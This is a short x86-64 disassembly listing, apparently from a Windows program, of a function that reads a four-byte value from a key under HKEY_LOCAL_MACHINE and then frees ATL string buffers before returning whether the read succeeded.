xor r8d, r8d
mov rcx, 0xffffffff80000002
mov ebx, 1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14011a093
mov r8, qword [rsi]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rdx, [0x14015b600]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], 4
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov rcx, qword [rsp + 0x70]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [r14]
test ebx, ebx
sete dil
sub rdx, 0x18
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
lea rbp, vtable.ATL::CAtlStringMgr.0
sub eax, 1
jg 0x14011a0d8
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, rbp
jne 0x14011a129
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rsi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x14011a11a
mov r8, qword [rdx]
mov rcx, qword [r8]
mov rax, qword [rcx + 8]
cmp rcx, rbp
jne 0x14011a12e
mov rcx, qword [r8 + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, dil
add rsp, 0x30
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
movzx eax, dil
add rsp, 0x30
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call r8
jmp 0x14011a0d8
mov rcx, r8
call rax
jmp 0x14011a11a